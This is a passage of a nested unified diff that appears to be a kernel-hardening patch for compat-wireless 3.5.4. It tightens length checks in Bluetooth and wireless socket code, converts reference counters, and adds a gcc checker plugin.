mwifiex_fw_image *); +-}; ++} __no_const; + + struct mwifiex_adapter { + u8 iface_type; +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rndis_wlan.c 2012-10-15 19:11:12.843824568 +0000 +@@ -1235,7 +1235,7 @@ static int set_rts_threshold(struct usbn + + netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold); + +- if (rts_threshold < 0 || rts_threshold > 2347) ++ if (rts_threshold > 2347) + rts_threshold = 2347; + + tmp = cpu_to_le32(rts_threshold); +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00.h 2012-10-15 19:11:12.844824568 +0000 +@@ -396,7 +396,7 @@ struct rt2x00_intf { + * for hardware which doesn't support hardware + * sequence counting. + */ +- atomic_t seqno; ++ atomic_unchecked_t seqno; + }; + + static inline struct rt2x00_intf* vif_to_intf(struct ieee80211_vif *vif) +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/rt2x00/rt2x00queue.c 2012-10-15 19:11:12.845824568 +0000 +@@ -240,9 +240,9 @@ static void rt2x00queue_create_tx_descri + * sequence counter given by mac80211. + */ + if (test_bit(ENTRY_TXD_FIRST_FRAGMENT, &txdesc->flags)) +- seqno = atomic_add_return(0x10, &intf->seqno); ++ seqno = atomic_add_return_unchecked(0x10, &intf->seqno); + else +- seqno = atomic_read(&intf->seqno); ++ seqno = atomic_read_unchecked(&intf->seqno); + + hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG); + hdr->seq_ctrl |= cpu_to_le16(seqno); +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wl1251/wl1251.h 2012-10-15 19:11:12.845824568 +0000 +@@ -266,7 +266,7 @@ struct wl1251_if_operations { + void (*reset)(struct wl1251 *wl); + void (*enable_irq)(struct wl1251 *wl); + void (*disable_irq)(struct wl1251 *wl); +-}; ++} __no_const; + + struct wl1251 { + struct ieee80211_hw *hw; +diff -rupN compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h +--- compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/drivers/net/wireless/ti/wlcore/wlcore.h 2012-10-15 19:11:12.846824568 +0000 +@@ -61,7 +61,7 @@ struct wlcore_ops { + struct wl12xx_vif *wlvif); + s8 (*get_pg_ver)(struct wl1271 *wl); + void (*get_mac)(struct wl1271 *wl); +-}; ++} __no_const; + + enum wlcore_partitions { + PART_DOWN, +diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej +--- compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.rej 2012-10-15 19:11:12.847824568 +0000 +@@ -0,0 +1,11 @@ ++--- include/linux/pm_runtime.h 2012-07-23 00:22:30.802342811 +0200 +++++ include/linux/pm_runtime.h 2012-07-23 00:23:11.582344010 +0200 ++@@ -97,7 +97,7 @@ ++ ++ static inline void pm_runtime_mark_last_busy(struct device *dev) ++ { ++- ACCESS_ONCE(dev->power.last_busy) = jiffies; +++ ACCESS_ONCE_RW(dev->power.last_busy) = jiffies; ++ } ++ ++ #else /* !CONFIG_PM_RUNTIME */ +diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~ compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~ +--- compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~ 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/include/linux/pm_runtime.h.~1~ 2012-10-15 19:11:12.847824568 +0000 +@@ -0,0 +1,14 @@ ++#include ++ ++#ifndef __COMPAT_LINUX_PM_RUNTIME_H ++#define __COMPAT_LINUX_PM_RUNTIME_H ++ ++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32)) ++#include_next ++#else ++ ++static inline void pm_runtime_enable(struct device *dev) {} ++ ++#endif /* (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,32)) */ ++ ++#endif +diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej +--- compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.rej 2012-10-15 19:11:12.848824568 +0000 +@@ -0,0 +1,10 @@ ++--- include/linux/rfkill.h 2012-05-21 11:33:38.331929879 +0200 +++++ include/linux/rfkill.h 2012-07-23 00:23:11.586344010 +0200 ++@@ -147,6 +147,7 @@ ++ void (*query)(struct rfkill *rfkill, void *data); ++ int (*set_block)(void *data, bool blocked); ++ }; +++typedef struct rfkill_ops __no_const rfkill_ops_no_const; ++ ++ #if defined(CONFIG_RFKILL) || defined(CONFIG_RFKILL_MODULE) ++ /** +diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~ compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~ +--- compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~ 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/include/linux/rfkill.h.~1~ 2012-10-15 19:11:12.848824568 +0000 +@@ -0,0 +1,32 @@ ++#ifndef __COMPAT_RFKILL_H ++#define __COMPAT_RFKILL_H ++ ++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,31)) ++ ++#include_next ++ ++#else ++ ++#include ++ ++#undef CONFIG_RFKILL ++#undef CONFIG_RFKILL_INPUT ++#undef CONFIG_RFKILL_LEDS ++ ++#ifdef CONFIG_RFKILL_BACKPORT ++#define CONFIG_RFKILL 1 ++#endif ++ ++#ifdef CONFIG_RFKILL_BACKPORT_INPUT ++#define CONFIG_RFKILL_INPUT ++#endif ++ ++#ifdef CONFIG_RFKILL_BACKPORT_LEDS ++#define CONFIG_RFKILL_LEDS ++#endif ++ ++#include ++ ++#endif ++ ++#endif +diff -rupN compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h +--- compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h 2012-09-17 19:15:56.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/include/linux/unaligned/access_ok.h 2012-10-15 19:11:12.848824568 +0000 +@@ -6,32 +6,32 @@ + + static inline u16 get_unaligned_le16(const void *p) + { +- return le16_to_cpup((__le16 *)p); ++ return le16_to_cpup((const __le16 *)p); + } + + static inline u32 get_unaligned_le32(const void *p) + { +- return le32_to_cpup((__le32 *)p); ++ return le32_to_cpup((const __le32 *)p); + } + + static inline u64 get_unaligned_le64(const void *p) + { +- return le64_to_cpup((__le64 *)p); ++ return le64_to_cpup((const __le64 *)p); + } + + static inline u16 get_unaligned_be16(const void *p) + { +- return be16_to_cpup((__be16 *)p); ++ return be16_to_cpup((const __be16 *)p); + } + + static inline u32 get_unaligned_be32(const void *p) + { +- return be32_to_cpup((__be32 *)p); ++ return be32_to_cpup((const __be32 *)p); + } + + static inline u64 get_unaligned_be64(const void *p) + { +- return be64_to_cpup((__be64 *)p); ++ return be64_to_cpup((const __be64 *)p); + } + + static inline void put_unaligned_le16(u16 val, void *p) +diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c +--- compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/hci_sock.c 2012-10-15 19:11:12.849824568 +0000 +@@ -947,7 +947,7 @@ static int hci_sock_setsockopt(struct so + uf.event_mask[1] = *((u32 *) f->event_mask + 1); + } + +- len = min_t(unsigned int, len, sizeof(uf)); ++ len = min((size_t)len, sizeof(uf)); + if (copy_from_user(&uf, optval, len)) { + err = -EFAULT; + break; +diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c +--- compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_core.c 2012-10-15 19:11:12.851824568 +0000 +@@ -2799,8 +2799,10 @@ static int l2cap_parse_conf_rsp(struct l + break; + + case L2CAP_CONF_RFC: +- if (olen == sizeof(rfc)) +- memcpy(&rfc, (void *)val, olen); ++ if (olen != sizeof(rfc)) ++ break; ++ ++ memcpy(&rfc, (void *)val, olen); + + if (test_bit(CONF_STATE2_DEVICE, &chan->conf_state) && + rfc.mode != chan->mode) +diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c +--- compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/l2cap_sock.c 2012-10-15 19:11:12.852824568 +0000 +@@ -451,7 +451,8 @@ static int l2cap_sock_setsockopt_old(str + struct sock *sk = sock->sk; + struct l2cap_chan *chan = l2cap_pi(sk)->chan; + struct l2cap_options opts; +- int len, err = 0; ++ int err = 0; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -473,7 +474,7 @@ static int l2cap_sock_setsockopt_old(str + opts.max_tx = chan->max_tx; + opts.txwin_size = chan->tx_win; + +- len = min_t(unsigned int, sizeof(opts), optlen); ++ len = min(sizeof(opts), len); + if (copy_from_user((char *) &opts, optval, len)) { + err = -EFAULT; + break; +@@ -553,7 +554,8 @@ static int l2cap_sock_setsockopt(struct + struct bt_security sec; + struct bt_power pwr; + struct l2cap_conn *conn; +- int len, err = 0; ++ int err = 0; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -576,7 +578,7 @@ static int l2cap_sock_setsockopt(struct + + sec.level = BT_SECURITY_LOW; + +- len = min_t(unsigned int, sizeof(sec), optlen); ++ len = min(sizeof(sec), len); + if (copy_from_user((char *) &sec, optval, len)) { + err = -EFAULT; + break; +@@ -673,7 +675,7 @@ static int l2cap_sock_setsockopt(struct + + pwr.force_active = BT_POWER_FORCE_ACTIVE_ON; + +- len = min_t(unsigned int, sizeof(pwr), optlen); ++ len = min(sizeof(pwr), len); + if (copy_from_user((char *) &pwr, optval, len)) { + err = -EFAULT; + break; +diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c +--- compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/sock.c 2012-10-15 19:11:12.853824568 +0000 +@@ -694,7 +694,7 @@ static int rfcomm_sock_setsockopt(struct + struct sock *sk = sock->sk; + struct bt_security sec; + int err = 0; +- size_t len; ++ size_t len = optlen; + u32 opt; + + BT_DBG("sk %p", sk); +@@ -716,7 +716,7 @@ static int rfcomm_sock_setsockopt(struct + + sec.level = BT_SECURITY_LOW; + +- len = min_t(unsigned int, sizeof(sec), optlen); ++ len = min(sizeof(sec), len); + if (copy_from_user((char *) &sec, optval, len)) { + err = -EFAULT; + break; +diff -rupN compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c +--- compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/bluetooth/rfcomm/tty.c 2012-10-15 19:11:12.854824568 +0000 +@@ -314,7 +314,7 @@ static void rfcomm_dev_del(struct rfcomm + BUG_ON(test_and_set_bit(RFCOMM_TTY_RELEASED, &dev->flags)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (dev->port.count > 0) { ++ if (atomic_read(&dev->port.count) > 0) { + spin_unlock_irqrestore(&dev->port.lock, flags); + return; + } +@@ -669,10 +669,10 @@ static int rfcomm_tty_open(struct tty_st + return -ENODEV; + + BT_DBG("dev %p dst %s channel %d opened %d", dev, batostr(&dev->dst), +- dev->channel, dev->port.count); ++ dev->channel, atomic_read(&dev->port.count)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (++dev->port.count > 1) { ++ if (atomic_inc_return(&dev->port.count) > 1) { + spin_unlock_irqrestore(&dev->port.lock, flags); + return 0; + } +@@ -741,10 +741,10 @@ static void rfcomm_tty_close(struct tty_ + return; + + BT_DBG("tty %p dev %p dlc %p opened %d", tty, dev, dev->dlc, +- dev->port.count); ++ atomic_read(&dev->port.count)); + + spin_lock_irqsave(&dev->port.lock, flags); +- if (!--dev->port.count) { ++ if (!atomic_dec_return(&dev->port.count)) { + spin_unlock_irqrestore(&dev->port.lock, flags); + if (dev->tty_dev->parent) + #if (LINUX_VERSION_CODE > KERNEL_VERSION(2,6,29)) +diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h +--- compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/mac80211/ieee80211_i.h 2012-10-15 19:11:12.855824568 +0000 +@@ -28,6 +28,7 @@ + #include + #include + #include ++#include + #include "key.h" + #include "sta_info.h" + +@@ -863,7 +864,7 @@ struct ieee80211_local { + /* also used to protect ampdu_ac_queue and amdpu_ac_stop_refcnt */ + spinlock_t queue_stop_reason_lock; + +- int open_count; ++ local_t open_count; + int monitors, cooked_mntrs; + /* number of interfaces with corresponding FIF_ flags */ + int fif_fcsfail, fif_plcpfail, fif_control, fif_other_bss, fif_pspoll, +diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c +--- compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/mac80211/iface.c 2012-10-15 19:11:12.856824568 +0000 +@@ -328,7 +328,7 @@ static int ieee80211_do_open(struct net_ + break; + } + +- if (local->open_count == 0) { ++ if (local_read(&local->open_count) == 0) { + res = drv_start(local); + if (res) + goto err_del_bss; +@@ -371,7 +371,7 @@ static int ieee80211_do_open(struct net_ + break; + } + +- if (local->monitors == 0 && local->open_count == 0) { ++ if (local->monitors == 0 && local_read(&local->open_count) == 0) { + res = ieee80211_add_virtual_monitor(local); + if (res) + goto err_stop; +@@ -468,7 +468,7 @@ static int ieee80211_do_open(struct net_ + mutex_unlock(&local->mtx); + + if (coming_up) +- local->open_count++; ++ local_inc(&local->open_count); + + if (hw_reconf_flags) + ieee80211_hw_config(local, hw_reconf_flags); +@@ -481,7 +481,7 @@ static int ieee80211_do_open(struct net_ + err_del_interface: + drv_remove_interface(local, sdata); + err_stop: +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + drv_stop(local); + err_del_bss: + sdata->bss = NULL; +@@ -618,7 +618,7 @@ static void ieee80211_do_stop(struct iee + } + + if (going_down) +- local->open_count--; ++ local_dec(&local->open_count); + + switch (sdata->vif.type) { + case NL80211_IFTYPE_AP_VLAN: +@@ -690,7 +690,7 @@ static void ieee80211_do_stop(struct iee + + ieee80211_recalc_ps(local, -1); + +- if (local->open_count == 0) { ++ if (local_read(&local->open_count) == 0) { + if (local->ops->napi_poll) + napi_disable(&local->napi); + ieee80211_clear_tx_pending(local); +@@ -722,7 +722,7 @@ static void ieee80211_do_stop(struct iee + } + spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags); + +- if (local->monitors == local->open_count && local->monitors > 0) ++ if (local->monitors == local_read(&local->open_count) && local->monitors > 0) + ieee80211_add_virtual_monitor(local); + } + +diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/main.c compat-wireless-3.5.4-1-snpc/net/mac80211/main.c +--- compat-wireless-3.5.4-1-snpc/net/mac80211/main.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/mac80211/main.c 2012-10-15 19:11:12.857824568 +0000 +@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211 + local->hw.conf.power_level = power; + } + +- if (changed && local->open_count) { ++ if (changed && local_read(&local->open_count)) { + ret = drv_config(local, changed); + /* + * Goal: +diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c +--- compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/mac80211/pm.c 2012-10-15 19:11:12.857824568 +0000 +@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211 + struct ieee80211_sub_if_data *sdata; + struct sta_info *sta; + +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + goto suspend; + + ieee80211_scan_cancel(local); +@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211 + cancel_work_sync(&local->dynamic_ps_enable_work); + del_timer_sync(&local->dynamic_ps_timer); + +- local->wowlan = wowlan && local->open_count; ++ local->wowlan = wowlan && local_read(&local->open_count); + if (local->wowlan) { + int err = drv_suspend(local, wowlan); + if (err < 0) { +@@ -132,7 +132,7 @@ int __ieee80211_suspend(struct ieee80211 + drv_remove_interface(local, sdata); + + /* stop hardware - this must stop RX */ +- if (local->open_count) ++ if (local_read(&local->open_count)) + ieee80211_stop_device(local); + + suspend: +diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c +--- compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/mac80211/rate.c 2012-10-15 19:11:12.858824568 +0000 +@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct + + ASSERT_RTNL(); + +- if (local->open_count) ++ if (local_read(&local->open_count)) + return -EBUSY; + + if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) { +diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c +--- compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/mac80211/rc80211_pid_debugfs.c 2012-10-15 19:11:12.859824568 +0000 +@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r + + spin_unlock_irqrestore(&events->lock, status); + +- if (copy_to_user(buf, pb, p)) ++ if (p > sizeof(pb) || copy_to_user(buf, pb, p)) + return -EFAULT; + + return p; +diff -rupN compat-wireless-3.5.4-1-snpc/net/mac80211/util.c compat-wireless-3.5.4-1-snpc/net/mac80211/util.c +--- compat-wireless-3.5.4-1-snpc/net/mac80211/util.c 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/mac80211/util.c 2012-10-15 19:11:12.859824568 +0000 +@@ -1224,7 +1224,7 @@ int ieee80211_reconfig(struct ieee80211_ + } + #endif + /* everything else happens only if HW was up & running */ +- if (!local->open_count) ++ if (!local_read(&local->open_count)) + goto wake_up; + + /* +diff -rupN compat-wireless-3.5.4-1-snpc/net/wireless/core.h compat-wireless-3.5.4-1-snpc/net/wireless/core.h +--- compat-wireless-3.5.4-1-snpc/net/wireless/core.h 2012-09-22 03:47:18.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/wireless/core.h 2012-10-15 19:11:12.860824568 +0000 +@@ -27,7 +27,7 @@ struct cfg80211_registered_device { + struct mutex mtx; + + /* rfkill support */ +- struct rfkill_ops rfkill_ops; ++ rfkill_ops_no_const rfkill_ops; + struct rfkill *rfkill; + struct work_struct rfkill_sync; + +diff -rupN compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c +--- compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c 2012-09-22 03:47:19.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/net/wireless/wext-core.c 2012-10-15 19:11:12.861824568 +0000 +@@ -781,8 +781,7 @@ static int ioctl_standard_iw_point(struc + */ + + /* Support for very large requests */ +- if ((descr->flags & IW_DESCR_FLAG_NOMAX) && +- (user_length > descr->max_tokens)) { ++ if (user_length > descr->max_tokens) { + /* Allow userspace to GET more than max so + * we can support any size GET requests. + * There is still a limit : -ENOMEM. +@@ -821,22 +820,6 @@ static int ioctl_standard_iw_point(struc + } + } + +- if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) { +- /* +- * If this is a GET, but not NOMAX, it means that the extra +- * data is not bounded by userspace, but by max_tokens. Thus +- * set the length to max_tokens. This matches the extra data +- * allocation. +- * The driver should fill it with the number of tokens it +- * provided, and it may check iwp->length rather than having +- * knowledge of max_tokens. If the driver doesn't change the +- * iwp->length, this ioctl just copies back max_token tokens +- * filled with zeroes. Hopefully the driver isn't claiming +- * them to be valid data. +- */ +- iwp->length = descr->max_tokens; +- } +- + err = handler(dev, info, (union iwreq_data *) iwp, extra); + + iwp->length += essid_compat; +diff -rupN compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh +--- compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/scripts/gcc-plugin.sh 2012-10-15 19:11:12.861824568 +0000 +@@ -0,0 +1,17 @@ ++#!/bin/bash ++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 < ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to implement various sparse (source code checker) features ++ * ++ * TODO: ++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch) ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++#include "target.h" ++ ++extern void c_register_addr_space (const char *str, addr_space_t as); ++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t); ++extern enum machine_mode default_addr_space_address_mode (addr_space_t); ++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as); ++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as); ++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as); ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++extern rtx emit_move_insn(rtx x, rtx y); ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info checker_plugin_info = { ++ .version = "201111150100", ++}; ++ ++#define ADDR_SPACE_KERNEL 0 ++#define ADDR_SPACE_FORCE_KERNEL 1 ++#define ADDR_SPACE_USER 2 ++#define ADDR_SPACE_FORCE_USER 3 ++#define ADDR_SPACE_IOMEM 0 ++#define ADDR_SPACE_FORCE_IOMEM 0 ++#define ADDR_SPACE_PERCPU 0 ++#define ADDR_SPACE_FORCE_PERCPU 0 ++#define ADDR_SPACE_RCU 0 ++#define ADDR_SPACE_FORCE_RCU 0 ++ ++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace) ++{ ++ return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC); ++} ++ ++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace) ++{ ++ return default_addr_space_address_mode(ADDR_SPACE_GENERIC); ++} ++ ++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as) ++{ ++ return default_addr_space_valid_pointer_mode(mode, as); ++} ++ ++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as) ++{ ++ return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC); ++} ++ ++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as) ++{ ++ return default_addr_space_legitimize_address(x, oldx, mode, as); ++} ++ ++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset) ++{ ++ if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL) ++ return true; ++ ++ if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER) ++ return true; ++ ++ if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM) ++ return true; ++ ++ if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER) ++ return true; ++ ++ if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM) ++ return true; ++ ++ if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL) ++ return true; ++ ++ if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL) ++ return true; ++ ++ return subset == superset; ++} ++ ++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type) ++{ ++// addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type)); ++// addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type)); ++ ++ return op; ++} ++ ++static void register_checker_address_spaces(void *event_data, void *data) ++{ ++ c_register_addr_space("__kernel", ADDR_SPACE_KERNEL); ++ c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL); ++ c_register_addr_space("__user", ADDR_SPACE_USER); ++ c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER); ++// c_register_addr_space("__iomem", ADDR_SPACE_IOMEM); ++// c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM); ++// c_register_addr_space("__percpu", ADDR_SPACE_PERCPU); ++// c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU); ++// c_register_addr_space("__rcu", ADDR_SPACE_RCU); ++// c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU); ++ ++ targetm.addr_space.pointer_mode = checker_addr_space_pointer_mode; ++ targetm.addr_space.address_mode = checker_addr_space_address_mode; ++ targetm.addr_space.valid_pointer_mode = checker_addr_space_valid_pointer_mode; ++ targetm.addr_space.legitimate_address_p = checker_addr_space_legitimate_address_p; ++// targetm.addr_space.legitimize_address = checker_addr_space_legitimize_address; ++ targetm.addr_space.subset_p = checker_addr_space_subset_p; ++ targetm.addr_space.convert = checker_addr_space_convert; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info); ++ ++ for (i = 0; i < argc; ++i) ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ ++ if (TARGET_64BIT == 0) ++ return 0; ++ ++ register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL); ++ 